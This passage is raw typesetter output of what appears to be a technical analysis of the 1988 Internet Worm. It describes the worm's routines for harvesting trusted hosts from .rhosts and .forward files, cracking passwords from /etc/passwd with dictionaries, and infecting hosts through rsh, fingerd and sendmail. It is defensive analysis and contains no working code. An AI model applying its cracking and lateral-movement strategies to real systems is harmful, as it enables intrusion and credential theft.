1642(new)S
1860(socket)S
2176(on)S
2322(the)S
2492(same)S
2753(port)S
2966(\(if)S
3105(it)S
3203(was)S
3409(not)S
3586(destined)S
3988(to)S
4110(self-destruct\))S
4723(and)S
4918(set)S
1796 V
11 I
720(other_fd)S
11 R
1126(to)S
1245(that)S
1443(socket)S
1756(to)S
1875(listen)S
2147(for)S
2307(other)S
2565(Worms.)S
1962 V
970(If)S
1084(any)S
1284(errors)S
1580(were)S
1833(encountered)S
2409(during)S
2738(this)S
2940(procedure,)S
3446(the)S
3622(Worm)S
3945(involved)S
4373(set)S
11 I
4538(other_fd)S
11 R
4954(to)S
2092 V
720(-1)S
847(and)S
1040(it)S
1137(returned)S
1536(from)S
1784(the)S
1953(routine.)S
2360(This)S
2591(meant)S
2894(that)S
3094(any)S
3287(error)S
3533(caused)S
3865(the)S
4034(Worm)S
4349(to)S
4470(be)S
4608(immortal,)S
2222 V
720(too.)S
2482 V
11 B
720(5.2.6.)S
1035(crack_0)S
2648 V
11 R
970(This)S
1210(routine)S
1565(\256rst)S
1781(scanned)S
2177(the)S
2355(/etc/hosts.equiv)S
3087(\256le,)S
3300(adding)S
3643(new)S
3869(hosts)S
4140(to)S
4270(the)S
4448(global)S
4768(list)S
4949(of)S
2778 V
720(hosts)S
985(and)S
1181(setting)S
1513(the)S
1685(\257ags)S
1931(\256eld)S
2165(to)S
2289(mark)S
2552(them)S
2810(as)S
11 I
2938(equivalent.)S
11 R
3460(Calls)S
3724(were)S
3972(made)S
4246(to)S
11 I
4369(name2host)S
11 R
4882(and)S
2908 V
11 I
720(getaddrs)S
11 R
1105(.)S
1199(Next,)S
1473(a)S
1554(similar)S
1893(scan)S
2120(was)S
2323(made)S
2593(of)S
2717(the)S
11 I
2884(/.rhosts)S
11 R
3246(\256le)S
3420(using)S
3692(the)S
3859(exact)S
4122(same)S
4380(calls.)S
3074 V
970(The)S
1175(code)S
1416(then)S
1640(called)S
11 I
1936(setpwent)S
11 R
2356(to)S
2477(open)S
2725(the)S
2894(/etc/passwd)S
3441(\256le.)S
3678(A)S
3792(loop)S
4023(was)S
4228(performed)S
4718(as)S
4844(long)S
3204 V
720(as)S
844(passwords)S
1334(could)S
1611(be)S
1747(read:)S
3370 V
970(Every)S
1271(10th)S
1508(entry,)S
1802(a)S
1891(call)S
2090(was)S
2301(made)S
2579(to)S
11 I
2706(other_sleep)S
11 R
3259(with)S
3496(a)S
3585(timeout)S
3963(of)S
4095(0.)S
4252(For)S
4446(each)S
4686(user,)S
4937(an)S
3500 V
970(attempt)S
1338(was)S
1546(made)S
1821(to)S
1945(open)S
2196(the)S
2368(\256le)S
11 I
2547(.forward)S
3464 V
9 R
2931(15)S
3500 V
11 R
3059(in)S
3183(the)S
3356(home)S
3639(directory)S
4073(of)S
4203(that)S
4407(user,)S
4656(and)S
4853(read)S
3630 V
970(the)S
1148(hostnames)S
1656(therein.)S
2065(These)S
2370(hostnames)S
2878(were)S
3133(also)S
3354(added)S
3659(to)S
3789(the)S
3967(host)S
4195(list)S
4375(and)S
4577(marked)S
4949(as)S
3760 V
970(equivalent.)S
1525(The)S
1732(encrypted)S
2200(password,)S
2679(home)S
2960(directory,)S
3420(and)S
3615(GECOS)S
4014(\256eld)S
4248(for)S
4413(each)S
4650(user)S
4870(was)S
3890 V
970(stored)S
1271(into)S
1476(the)S
1643(pwd)S
1865(structure.)S
4056 V
970(After)S
1234(all)S
1378(user)S
1594(entries)S
1920(were)S
2165(read,)S
2414(the)S
11 I
2582(endpwent)S
11 R
3038(routine)S
3384(was)S
3589(invoked,)S
4006(and)S
4199(the)S
11 I
4368(cmode)S
11 R
4688(variable)S
4186 V
720(was)S
923(set)S
1078(to)S
1197(1.)S
4446 V
11 B
720(5.2.7.)S
1035(crack_1)S
4612 V
11 R
970(This)S
1203(routine)S
1551(tried)S
1789(to)S
1912(break)S
2191(passwords.)S
2746(It)S
2850(was)S
3057(intended)S
3472(to)S
3595(loop)S
3828(until)S
4069(all)S
4217(accounts)S
4638(had)S
4834(been)S
4742 V
720(tried,)S
982(or)S
1106(until)S
1342(the)S
1509(next)S
1731(group)S
2020(of)S
2144(50)S
2287(accounts)S
2703(had)S
2894(been)S
3133(tested.)S
3483(In)S
3607(the)S
3774(loop:)S
4908 V
970(A)S
1084(call)S
1277(was)S
1482(made)S
1754(to)S
11 I
1875(other_sleep)S
11 R
2422(with)S
2653(a)S
2736(parameter)S
3207(of)S
3333(zero)S
3555(each)S
3789(time)S
4021(the)S
4191(loop)S
4423(index)S
4703(modulo)S
5038 V
970(10)S
1129(was)S
1348(zero)S
1584(\(i.e.,)S
1832(every)S
2123(10)S
2282(calls\).)S
2629(Repeated)S
3085(calls)S
3335(were)S
3595(made)S
3880(to)S
11 I
4014(try_password)S
11 R
4662(with)S
4906(the)S
5168 V
970(values)S
1283(discussed)S
1737(earlier)S
2048(in)S
2167(\2474-8b.)S
5334 V
970(Once)S
1233(all)S
1376(accounts)S
1792(had)S
1983(been)S
2222(tried,)S
2484(the)S
2651(variable)S
11 I
3036(cmode)S
11 R
3354(was)S
3557(set)S
3712(to)S
3831(2.)S
5500 V
970(The)S
1182(code)S
1430(in)S
1558(this)S
1760(routine)S
2113(was)S
2325(faulty)S
2623(in)S
2751(that)S
2958(the)S
3134(index)S
3420(of)S
3553(the)S
3729(loop)S
3967(was)S
4179(never)S
4463(incremented!)S
5630 V
720(Thus,)S
1010(the)S
1186(check)S
1482(at)S
1603(every)S
1887(50)S
2039(accounts,)S
2491(and)S
2690(the)S
2865(call)S
3064(to)S
11 I
3191(other-sleep)S
11 R
3725(every)S
4008(10)S
4159(accounts)S
4583(would)S
4899(not)S
5760 V
720(occur.)S
1056(Once)S
1319(entered,)S
11 I
1701(crack_1)S
11 R
2086(ran)S
2258(until)S
2494(it)S
2589(had)S
2780(checked)S
3170(all)S
3313(user)S
3528(accounts.)S
6020 V
11 B
720(5.2.8.)S
1035(crack_2)S
6186 V
11 R
970(This)S
1200(routine)S
1545(used)S
1780(the)S
1948(mini-dictionary)S
2666(in)S
2787(an)S
2925(attempt)S
3290(to)S
3411(break)S
3688(user)S
3905(passwords)S
4397(\(see)S
4607(Appendix)S
6316 V
720(A\).)S
938(The)S
1150(dictionary)S
1637(was)S
1849(\256rst)S
2063(permuted)S
2519(\(using)S
2836(the)S
11 I
3012(permute)S
11 R
3371(\))S
3449(call.)S
3710(Each)S
3969(word)S
4235(was)S
4446(decrypted)S
4918(in-)S
6446 V
720(place)S
1022(by)S
1204(XORing)S
1649(its)S
1826(bytes)S
2130(with)S
2398(0x80.)S
2751(The)S
2993(decrypted)S
3496(words)S
3836(were)S
4120(then)S
4382(passed)S
4747(to)S
4906(the)S
6576 V
11 I
720(try_password)S
11 R
1353(routine)S
1697(for)S
1857(each)S
2089(user)S
2304(account.)S
2738(The)S
2941(dictionary)S
3419(was)S
3622(then)S
3844(re-encrypted.)S
6832 V
9 Y1
720(3333333333333333)S
6932 V
7 R
820(15)S
6960 V
9 R
935(This)S
1129(is)S
1223(puzzling.)S
1617(The)S
1791(appropriate)S
2235(\256le)S
2384(to)S
2488(scan)S
2682(for)S
2821(equivalent)S
3230(hosts)S
3449(would)S
3709(have)S
3914(been)S
4119(the)S
9 I
4264(.rhosts)S
9 R
4542(\256le,)S
7070 V
720(not)S
862(the)S
9 I
999(.forward)S
9 R
1339(\256le.)S
7920 V
EP
%%Page: 16 17
BP
/slant 0 def
/height 1.000000 def
9 R
9 R
490 V
11 R
2756(- 16 -)S
850 V
970(A)S
1089(global)S
1404(index,)S
1716(named)S
11 I
2048(nextw)S
11 R
2344(was)S
2554(incremented)S
3135(to)S
3261(point)S
3528(to)S
3654(the)S
3828(next)S
4057(dictionary)S
4543(entry.)S
4870(The)S
980 V
11 I
720(nextw)S
11 R
1022(index)S
1312(is)S
1432(also)S
1655(used)S
1902(in)S
11 I
2034(doit)S
11 R
2252(to)S
2384(determine)S
2868(if)S
2981(enough)S
3350(e)S
3398 H
	(f)show 11 -.5 mul h (f)show
11 R
3465(ort)S
3633(had)S
3837(been)S
4089(expended)S
4553(so)S
4696(that)S
4906(the)S
1110 V
720(Worm)S
1042(could)S
1328(``...go)S
1636(gently)S
1953(into)S
2167(that)S
2374(good)S
2636(night.'')S
3005(When)S
3308(no)S
3461(more)S
3729(words)S
4040(were)S
4294(left,)S
4511(the)S
4688(variable)S
1240 V
11 I
720(cmode)S
11 R
1038(was)S
1241(set)S
1396(to)S
1515(3.)S
1406 V
970(There)S
1257(are)S
1422(two)S
1620(interesting)S
2117(points)S
2420(to)S
2539(note)S
2762(in)S
2882(this)S
3076(routine:)S
3452(the)S
3620(reverse)S
3968(of)S
4093(these)S
4352(words)S
4654(were)S
4899(not)S
1536 V
720(tried,)S
996(although)S
1428(that)S
1640(would)S
1962(seem)S
2234(like)S
2446(a)S
2540(logical)S
2885(thing)S
3158(to)S
3290(do,)S
3474(and)S
3678(all)S
3834(words)S
4148(were)S
4405(encrypted)S
4882(and)S
1666 V
720(decrypted)S
1197(in)S
1329(place)S
1605(rather)S
1905(than)S
2140(in)S
2272(a)S
2366(temporary)S
2862(bu)S
2972 H
	(f)show 11 -.5 mul h (f)show
11 R
3039(er.)S
3230(This)S
3472(is)S
3593(less)S
3805(e)S
3853 H
	(f)show 11 -.5 mul h (\256)show
11 R
3945(cient)S
4205(than)S
4441(a)S
4536(copy)S
4796(while)S
1796 V
720(masking)S
1135(since)S
1402(no)S
1554(re-encryption)S
2185(ever)S
2414(needs)S
2705(to)S
2833(be)S
2977(done.)S
3259(As)S
3422(discussed)S
3884(in)S
4011(the)S
4186(next)S
4416(section,)S
4796(many)S
1926 V
720(examples)S
1188(of)S
1333(unnecessary)S
1921(e)S
1969 H
	(f)show 11 -.5 mul h (f)show
11 R
2036(ort)S
2212(such)S
2467(as)S
2612(this)S
2826(were)S
3091(present)S
3461(in)S
3601(the)S
3789(program.)S
4275(Furthermore,)S
4906(the)S
2056 V
720(entire)S
1007(mini-dictionary)S
1729(was)S
1937(decrypted)S
2405(all)S
2552(at)S
2668(once)S
2911(rather)S
3202(than)S
3428(a)S
3513(word)S
3775(at)S
3891(a)S
3976(time.)S
4270(This)S
4503(would)S
4815(seem)S
2186 V
720(to)S
845(lessen)S
1152(the)S
1325(bene\256t)S
1663(of)S
1794(encrypting)S
2303(those)S
2575(words)S
2883(at)S
3002(all,)S
3180(since)S
3445(the)S
3619(entire)S
3908(dictionary)S
4393(would)S
4708(then)S
4937(be)S
2316 V
720(present)S
1069(in)S
1188(memory)S
1587(as)S
1711(plaintext)S
2129(during)S
2449(the)S
2616(time)S
2845(all)S
2988(the)S
3155(words)S
3456(were)S
3700(tried.)S
2576 V
11 B
720(5.2.9.)S
1035(crack_3)S
2742 V
11 R
970(This)S
1202(was)S
1408(the)S
1578(last)S
1767(password)S
2217(cracking)S
2629(routine.)S
3038(It)S
3142(opened)S
3495(/usr/dict/words,)S
4220(and)S
4415(for)S
4579(each)S
4815(word)S
2872 V
720(found)S
1010(it)S
1106(called)S
11 I
1401(try_password)S
11 R
2035(against)S
2380(each)S
2613(account.)S
3048(If)S
3154(the)S
3322(\256rst)S
3528(letter)S
3787(of)S
3912(the)S
4080(word)S
4339(was)S
4543(a)S
4625(capital,)S
4978(it)S
3002 V
720(was)S
936(converted)S
1414(to)S
1547(lower)S
1843(case)S
2077(and)S
2282(retried.)S
2675(After)S
2952(all)S
3109(words)S
3424(were)S
3682(tried,)S
3958(the)S
4139(variable)S
11 I
4538(cmode)S
11 R
4870(was)S
3132 V
720(incremented)S
1294(and)S
1485(the)S
1652(routine)S
1996(returned.)S
3298 V
970(In)S
1095(this)S
1289(routine,)S
1662(no)S
1807(calls)S
2043(to)S
11 I
2164(other_sleep)S
11 R
2711(were)S
2957(interspersed,)S
3549(thus)S
3768(leading)S
4126(to)S
4247(processes)S
4701(that)S
4901(ran)S
3428 V
720(for)S
886(a)S
973(long)S
1208(time)S
1443(before)S
1760(checking)S
2194(for)S
2360(other)S
2624(Worms)S
2986(on)S
3135(the)S
3308(local)S
3560(machine.)S
4030(Also)S
4276(of)S
4405(note,)S
4660(this)S
4858(rou-)S
3558 V
720(tine)S
918(did)S
1092(not)S
1266(try)S
1421(the)S
1588(reverse)S
1935(of)S
2059(words)S
2360(either!)S
3818 V
11 B
720(5.2.10.)S
1090(cracksome)S
3984 V
11 R
970(This)S
1210(routine)S
1566(was)S
1781(a)S
1874(simple)S
2213(switch)S
2545(statement)S
3011(on)S
3166(an)S
3314(external)S
3711(variable)S
4108(named)S
11 I
4445(cmode)S
11 R
4775(and)S
4978(it)S
4114 V
720(implemented)S
1332(the)S
1504(\256ve)S
1707(strategies)S
2159(discussed)S
2617(in)S
2740(\2474-8)S
2978(of)S
3106(this)S
3303(paper.)S
3643(State)S
3900(zero)S
4124(called)S
11 I
4422(crack_0)S
11 R
4774(,)S
4839(state)S
4244 V
720(one)S
921(called)S
11 I
1225(crack_1)S
11 R
1577(,)S
1648(state)S
1892(two)S
2100(called)S
11 I
2404(crack_2)S
11 R
2756(,)S
2827(and)S
3028(state)S
3272(three)S
3533(called)S
11 I
3837(crack_3)S
11 R
4189(.)S
4293(The)S
4506(default)S
4853(case)S
4374 V
720(simply)S
1054(returned.)S
4634 V
11 B
720(5.2.11.)S
1090(crypt)S
4800 V
11 R
970(This)S
1202(routine)S
1549(took)S
1781(a)S
1865(key)S
2059(and)S
2253(a)S
2337(salt,)S
2554(then)S
2779(performed)S
3270(the)S
3441(U)S
9 R
3520(NIX)S
11 R
3717(password)S
4168(encryption)S
4674(function)S
4930 V
720(on)S
866(a)S
950(block)S
1229(of)S
1355(zero)S
1577(bits.)S
1833(The)S
2038(return)S
2334(value)S
2606(of)S
2732(the)S
2901(routine)S
3247(was)S
3452(a)S
3535(pointer)S
3881(to)S
4002(a)S
4085(character)S
4518(string)S
4804(of)S
4930(13)S
5060 V
720(characters)S
1194(representing)S
1768(the)S
1935(encoded)S
2332(password.)S
5226 V
970(The)S
1182(routine)S
1535(was)S
1748(highly)S
2073(optimized)S
2556(and)S
2757(di)S
2843 H
	(f)show 11 -.5 mul h (f)show
11 R
2910(ers)S
3080(considerably)S
3683(from)S
3939(the)S
4116(standard)S
4530(library)S
4865(ver-)S
5356 V
720(sion)S
951(of)S
1089(the)S
1269(same)S
1540(routine.)S
1958(It)S
2071(called)S
2378(the)S
2558(following)S
3032(routines:)S
11 I
3463(compkeys,)S
3961(mungE,)S
4346(des,)S
11 R
4566(and)S
11 I
4770(ipi.)S
11 R
4961(A)S
5486 V
720(routine,)S
11 I
1093(setupE)S
11 R
1392(,)S
1454(was)S
1658(also)S
1870(present)S
2221(and)S
2414(was)S
2619(associated)S
3104(with)S
3335(this)S
3530(code,)S
3799(but)S
3975(it)S
4072(was)S
4277(never)S
4554(referenced.)S
5616 V
720(It)S
820(appears)S
1186(to)S
1305(duplicate)S
1740(the)S
1907(functionality)S
2502(of)S
2626(the)S
11 I
2793(mungE)S
11 R
3137(function.)S
5876 V
11 B
720(5.2.12.)S
1090(h_addaddr)S
6042 V
11 R
970(This)S
1211(routine)S
1567(added)S
1873(alternate)S
2294(addresses)S
2758(to)S
2889(a)S
2982(host)S
3211(entry)S
3481(in)S
3612(the)S
3791(global)S
4112(list)S
4294(if)S
4407(they)S
4642(were)S
4899(not)S
6172 V
720(already)S
1074(present.)S
6432 V
11 B
720(5.2.13.)S
1090(h_addname)S
6598 V
11 R
970(This)S
1219(routine)S
1583(added)S
1897(host)S
2134(aliases)S
2479(\(names\))S
2885(to)S
3025(a)S
3127(given)S
3425(host)S
3663(entry.)S
4003(Duplicate)S
4483(entries)S
4829(were)S
6728 V
720(suppressed.)S
7920 V
EP
%%Page: 17 18
BP
/slant 0 def
/height 1.000000 def
11 R
11 R
490 V
2756(- 17 -)S
850 V
11 B
720(5.2.14.)S
1090(h_addr2host)S
1016 V
11 R
970(The)S
1175(host)S
1394(address)S
1757(provided)S
2182(to)S
2303(the)S
2472(routine)S
2818(was)S
3023(checked)S
3415(against)S
3761(each)S
3995(entry)S
4255(in)S
4376(the)S
4545(global)S
4856(host)S
1146 V
720(list)S
894(to)S
1018(see)S
1195(if)S
1300(it)S
1400(was)S
1608(already)S
1967(present.)S
2382(If)S
2492(so,)S
2656(a)S
2742(pointer)S
3090(to)S
3213(that)S
3415(host)S
3636(entry)S
3898(was)S
4105(returned.)S
4567(If)S
4676(not,)S
4882(and)S
1276 V
720(if)S
824(a)S
909(parameter)S
1382(\257ag)S
1584(was)S
1791(set,)S
1978(a)S
2063(new)S
2282(entry)S
2544(was)S
2751(initialized)S
3228(with)S
3461(the)S
3632(argument)S
4083(address)S
4448(and)S
4643(a)S
4729(pointer)S
1406 V
720(to)S
839(it)S
934(was)S
1137(returned.)S
1666 V
11 B
720(5.2.15.)S
1090(h_clean)S
1832 V
11 R
970(This)S
1201(routine)S
1547(traversed)S
1982(the)S
2151(host)S
2370(list)S
2541(and)S
2734(removed)S
3152(any)S
3345(entries)S
3673(marked)S
4037(as)S
4164(infected)S
4552(or)S
4679(immune)S
1962 V
720(\(leaving)S
1112(hosts)S
1372(not)S
1546(yet)S
1713(tried\).)S
2222 V
11 B
720(5.2.16.)S
1090(h_name2host)S
2388 V
11 R
970(Just)S
1175(like)S
11 I
1373(h_addr2host)S
11 R
1963(except)S
2281(the)S
2448(comparison)S
2993(was)S
3196(done)S
3442(by)S
3585(name)S
3855(with)S
4084(all)S
4227(aliases.)S
2648 V
11 B
720(5.2.17.)S
1090(ha)S
2814 V
11 R
970(This)S
1205(routine)S
1555(tried)S
1795(to)S
1920(infect)S
2208(hosts)S
2474(on)S
2623(remote)S
2966(networks.)S
3468(First,)S
3738(it)S
3839(checked)S
4236(to)S
4362(see)S
4541(if)S
4648(the)S
4822(gate-)S
2944 V
720(ways)S
987(list)S
1165(had)S
1365(entries;)S
1730(if)S
1839(not,)S
2050(it)S
2153(called)S
11 I
2455(rt_init)S
11 R
2732(.)S
2834(Next,)S
3116(it)S
3219(constructed)S
3765(a)S
3854(list)S
4031(of)S
4163(all)S
4314(IP)S
4453(addresses)S
4913(for)S
3074 V
720(gateway)S
1124(hosts)S
1391(that)S
1596(responded)S
2086(to)S
2212(the)S
11 I
2386(try_telnet)S
11 R
2847(routine.)S
3259(The)S
3469(list)S
3645(of)S
3776(host)S
4000(addresses)S
4459(was)S
4669(random-)S
3204 V
720(ized)S
937(by)S
11 I
1082(permute)S
11 R
1441(.)S
1537(Then,)S
1825(for)S
1987(each)S
2221(address)S
2584(in)S
2704(the)S
2872(list)S
3042(so)S
3174(constructed,)S
3741(the)S
3909(address)S
4271(was)S
4475(masked)S
4844(with)S
3334 V
720(the)S
890(value)S
1163(returned)S
1563(by)S
11 I
1709(netmaskfor)S
11 R
2233(and)S
2427(the)S
2597(result)S
2877(was)S
3083(passed)S
3411(to)S
3534(the)S
11 I
3705(attack_network)S
11 R
4419(routine.)S
4828(If)S
4937(an)S
3464 V
720(attack)S
1014(was)S
1217(successful,)S
1728(the)S
1895(routine)S
2239(exited)S
2540(early)S
2791(with)S
3020(a)S
3101(return)S
3395(value)S
3665(of)S
3789(TRUE.)S
3724 V
11 B
720(5.2.18.)S
1090(hg)S
3890 V
11 R
970(This)S
1206(routine)S
1557(attempted)S
2030(to)S
2156(infect)S
2445(gateway)S
2849(machines.)S
3331(It)S
3438(\256rst)S
3650(called)S
11 I
3951(rt_init)S
11 R
4269(to)S
4396(reinitialize)S
4906(the)S
4020 V
720(list)S
895(of)S
1025(gateways,)S
1499(and)S
1696(then)S
1924(for)S
2089(each)S
2326(gateway)S
2728(it)S
2828(called)S
3127(the)S
3299(main)S
3557(infection)S
3985(routine,)S
11 I
4362(infect)S
11 R
4606(,)S
4672(with)S
4906(the)S
4150 V
720(gateway)S
1146(as)S
1299(an)S
1464(argument.)S
2001(As)S
2185(soon)S
2455(as)S
2609(one)S
2830(gateway)S
3257(was)S
3490(successfully)S
4089(infected,)S
4532(the)S
4729(routine)S
4280 V
720(returned)S
1117(TRUE.)S
4540 V
11 B
720(5.2.19.)S
1090(hi)S
4706 V
11 R
970(This)S
1201(routine)S
1547(tried)S
1783(to)S
1904(infect)S
2188(hosts)S
2450(whose)S
2765(entries)S
3092(in)S
3213(the)S
3382(hosts)S
3645(list)S
3817(were)S
4064(marked)S
4428(as)S
11 I
4555(equivalent)S
11 R
5012(.)S
4836 V
720(The)S
935(routine)S
1291(traversed)S
1736(the)S
1915(global)S
2235(host)S
2464(list)S
2645(looking)S
3026(for)S
3197(such)S
3442(entries)S
3778(and)S
3980(then)S
4213(calling)S
11 I
4556(infect)S
11 R
4844(with)S
4966 V
720(those)S
985(hosts.)S
1306(A)S
1418(successful)S
1901(infection)S
2324(returned)S
2721(early)S
2972(with)S
3201(the)S
3368(value)S
3638(TRUE.)S
5226 V
11 B
720(5.2.20.)S
1090(hl)S
5392 V
11 R
970(This)S
1205(routine)S
1555(was)S
1764(intended)S
2181(to)S
2306(attack)S
2606(hosts)S
2872(on)S
3021(directly-connected)S
3875(networks.)S
4378(For)S
4571(each)S
4810(alter-)S
5522 V
720(nate)S
946(address)S
1318(of)S
1452(the)S
1629(current)S
1981(host,)S
2236(the)S
2413(routine)S
11 I
2767(attack_network)S
11 R
3487(was)S
3700(called)S
4004(with)S
4243(an)S
4389(argument)S
4846(con-)S
5652 V
720(sisting)S
1055(of)S
1192(the)S
1372(address)S
1746(logically)S
2177(and-ed)S
2520(with)S
2762(the)S
2942(value)S
3225(of)S
11 I
3362(netmask)S
11 R
3767(for)S
3940(that)S
4151(address.)S
4586(A)S
4712(success)S
5782 V
720(caused)S
1050(the)S
1217(routine)S
1561(to)S
1680(return)S
1974(early)S
2225(with)S
2454(a)S
2535(return)S
2829(value)S
3099(of)S
3223(TRUE.)S
6042 V
11 B
720(5.2.21.)S
1090(hul)S
6208 V
11 R
970(This)S
1210(function)S
1620(attempted)S
2097(to)S
2227(attack)S
2532(a)S
2624(remote)S
2972(host)S
3200(via)S
3378(a)S
3471(particular)S
3935(user.)S
4223(It)S
4335(\256rst)S
4552(checked)S
4954(to)S
6338 V
720(make)S
1005(sure)S
1235(that)S
1448(the)S
1630(host)S
1861(was)S
2078(not)S
2266(the)S
2447(current)S
2803(host)S
3034(and)S
3239(that)S
3451(it)S
3560(had)S
3765(not)S
3953(already)S
4321(been)S
4574(marked)S
4949(as)S
6468 V
720(infected.)S
1173(Next,)S
1454(it)S
1556(called)S
11 I
1857(getaddrs)S
11 R
2282(to)S
2408(be)S
2551(sure)S
2774(there)S
3033(was)S
3244(an)S
3388(address)S
3757(to)S
3884(be)S
4028(used.)S
4331(It)S
4439(examined)S
4906(the)S
6598 V
720(username)S
1177(for)S
1341(punctuation)S
1897(characters,)S
2403(and)S
2598(returned)S
2999(if)S
3103(any)S
3298(were)S
3546(found.)S
3900(It)S
4004(then)S
4230(called)S
11 I
4528(other_sleep)S
6728 V
11 R
720(with)S
949(an)S
1085(argument)S
1532(of)S
1656(1.)S
6894 V
970(Next,)S
1263(the)S
1449(code)S
1707(tried)S
1960(the)S
2146(attacks)S
2502(described)S
2973(in)S
3111(\2474-10.)S
3480(Calls)S
3759(were)S
4022(made)S
4312(to)S
11 I
4451(sendWorm)S
11 R
4973(if)S
7024 V
720(either)S
1002(attack)S
1296(succeeded)S
1777(in)S
1896(establishing)S
2455(a)S
2536(shell)S
2777(on)S
2920(the)S
3087(remote)S
3424(machine.)S
7920 V
EP
%%Page: 18 19
BP
/slant 0 def
/height 1.000000 def
11 R
11 R
490 V
2756(- 18 -)S
850 V
11 B
720(5.2.22.)S
1090(if_init)S
1016 V
11 R
970(This)S
1212(routine)S
1569(constructed)S
2120(the)S
2301(list)S
2484(of)S
2622(interfaces)S
3093(using)S
11 I
3379(ioctl)S
11 R
3622(calls.)S
3931(In)S
4069(summary,)S
4553(it)S
4662(obtained)S
1146 V
720(information)S
1282(about)S
1569(each)S
1811(interface)S
2235(that)S
2443(was)S
2656(up)S
2809(and)S
3010(running,)S
3423(including)S
3882(the)S
4059(destination)S
4584(address)S
4954(in)S
1276 V
720(point-to-point)S
1370(links,)S
1651(and)S
1847(any)S
2043(netmask)S
2447(for)S
2612(that)S
2815(interface.)S
3296(It)S
3402(initialized)S
3881(the)S
11 I
4054(me)S
11 R
4220(pointer)S
4570(to)S
4695(the)S
4868(\256rst)S
1406 V
720(non-loopback)S
1356(address)S
1717(found,)S
2034(and)S
2225(it)S
2320(entered)S
2674(all)S
2817(alternate)S
3226(addresses)S
3678(in)S
3797(the)S
3964(address)S
4325(list.)S
1666 V
11 B
720(5.2.23.)S
1090(infect)S
1832 V
11 R
970(This)S
1208(was)S
1420(the)S
1596(main)S
1858(infection)S
2290(routine.)S
2704(First,)S
2977(the)S
3153(host)S
3379(argument)S
3836(was)S
4049(checked)S
4449(to)S
4578(make)S
4858(sure)S
1962 V
720(that)S
921(it)S
1019(was)S
1225(not)S
1402(the)S
1572(current)S
1916(host,)S
2163(that)S
2363(it)S
2460(was)S
2665(not)S
2841(currently)S
3271(infected,)S
3686(and)S
3879(that)S
4079(it)S
4176(had)S
4369(not)S
4545(been)S
4786(deter-)S
2092 V
720(mined)S
1033(to)S
1157(be)S
1298(immune.)S
1758(Next,)S
2037(a)S
2123(check)S
2415(was)S
2623(made)S
2898(to)S
3022(be)S
3163(sure)S
3383(that)S
3586(an)S
3727(address)S
4093(for)S
4258(the)S
4431(host)S
4654(could)S
4937(be)S
2222 V
720(found)S
1019(by)S
1172(calling)S
11 I
1514(getaddrs)S
11 R
1899(.)S
2003(If)S
2118(no)S
2271(address)S
2642(was)S
2855(found,)S
3182(the)S
3359(host)S
3586(was)S
3799(marked)S
4170(as)S
4303(immune)S
4706(and)S
4906(the)S
2352 V
720(routine)S
1064(returned)S
1461(FALSE.)S
2518 V
970(Next,)S
1252(the)S
1427(routine)S
1779(called)S
11 I
2081(other_sleep)S
11 R
2634(with)S
2871(a)S
2960(timeout)S
3338(of)S
3470(1.)S
3627(Following)S
4122(that,)S
4356(it)S
4459(tried,)S
4730(in)S
4858(suc-)S
2648 V
720(cession,)S
1119(calls)S
1368(to)S
11 I
1502(try_rsh)S
11 R
1820(,)S
11 I
1896(try_fingerd)S
11 R
2391(,)S
2467(and)S
11 I
2673(try_sendmail)S
11 R
3247(.)S
3356(If)S
3476(the)S
3658(calls)S
3907(to)S
11 I
4041(try_rsh)S
11 R
4407(or)S
11 I
4545(try_fingerd)S
2778 V
11 R
720(succeeded,)S
1232(the)S
1403(\256le)S
1581(descriptors)S
2099(established)S
2624(by)S
2771(those)S
3040(invocations)S
3584(were)S
3832(passed)S
4161(as)S
4289(arguments)S
4783(to)S
4906(the)S
2908 V
11 I
720(sendWorm)S
11 R
1238(call.)S
1473(If)S
1594(any)S
1801(of)S
1941(the)S
2124(three)S
2391(infection)S
2830(attempts)S
3252(succeeded,)S
11 I
3777(infect)S
11 R
4070(returned)S
4482(early)S
4748(with)S
4992(a)S
3038 V
720(value)S
990(of)S
1114(TRUE.)S
1495(Otherwise,)S
2006(the)S
2173(routine)S
2517(returned)S
2914(FALSE.)S
3298 V
11 B
720(5.2.24.)S
1090(loadobject)S
3464 V
11 R
970(This)S
1202(routine)S
1550(read)S
1774(an)S
1914(object)S
2219(\256le)S
2397(into)S
2606(the)S
11 I
2777(objects)S
11 R
3125(structure)S
3545(in)S
3668(memory.)S
4132(The)S
4339(\256le)S
4517(was)S
4724(opened)S
3594 V
720(and)S
937(the)S
1130(size)S
1359(found)S
1674(with)S
1929(a)S
2036(call)S
2253(to)S
2398(the)S
2591(library)S
2942(routine)S
11 I
3312(fstat)S
11 R
3503(.)S
3623(A)S
3761(bu)S
3871 H
	(f)show 11 -.5 mul h (f)show
11 R
3938(er)S
4081(was)S
11 I
4309(malloc)S
11 R
4608('d)S
4757(of)S
4906(the)S
3724 V
720(appropriate)S
1260(size,)S
1500(and)S
1700(a)S
1790(call)S
1990(to)S
11 I
2118(read)S
11 R
2361(was)S
2573(made)S
2852(to)S
2981(read)S
3211(the)S
3388(contents)S
3797(of)S
3931(the)S
4108(\256le.)S
4353(The)S
4566(bu)S
4676 H
	(f)show 11 -.5 mul h (f)show
11 R
4743(er)S
4870(was)S
3854 V
720(encrypted)S
1192(with)S
1429(a)S
1518(call)S
1717(to)S
11 I
1844(xorbuf)S
11 R
2131(,)S
2200(then)S
2430(transferred)S
2942(into)S
3154(the)S
11 I
3328(objects)S
11 R
3679(array.)S
4003(The)S
4213(su)S
4311 H
	(f)show 11 -.5 mul h (\256)show
11 R
4403(x)S
4498(of)S
4629(the)S
4803(name)S
3984 V
720(\(e.g.,)S
976(sun3.o,)S
1328(l1.c,)S
1551(vax.o\))S
1861(was)S
2064(saved)S
2346(in)S
2465(a)S
2546(\256eld)S
2775(in)S
2894(the)S
3061(structure,)S
3505(as)S
3629(was)S
3832(the)S
3999(size)S
4202(of)S
4326(the)S
4493(object.)S
4244 V
11 B
720(5.2.25.)S
1090(makemagic)S
4410 V
11 R
970(The)S
1181(routine)S
1533(used)S
1775(the)S
1950(library)S
11 I
2283(random)S
11 R
2666(call)S
2865(to)S
2992(generate)S
3402(a)S
3491(random)S
3867(number)S
4243(for)S
4411(use)S
4599(as)S
4732(a)S
4822(chal-)S
4540 V
720(lenge)S
1002(number.)S
1443(Next,)S
1729(it)S
1836(tried)S
2082(to)S
2213(connect)S
2598(to)S
2728(the)S
2906(telnet)S
3194(port)S
3415(\(#23\))S
3696(of)S
3831(the)S
4009(target)S
4302(host,)S
4558(using)S
4841(each)S
4670 V
720(alternate)S
1129(address)S
1490(currently)S
1918(known)S
2251(for)S
2412(that)S
2611(host.)S
2890(If)S
2996(a)S
3078(successful)S
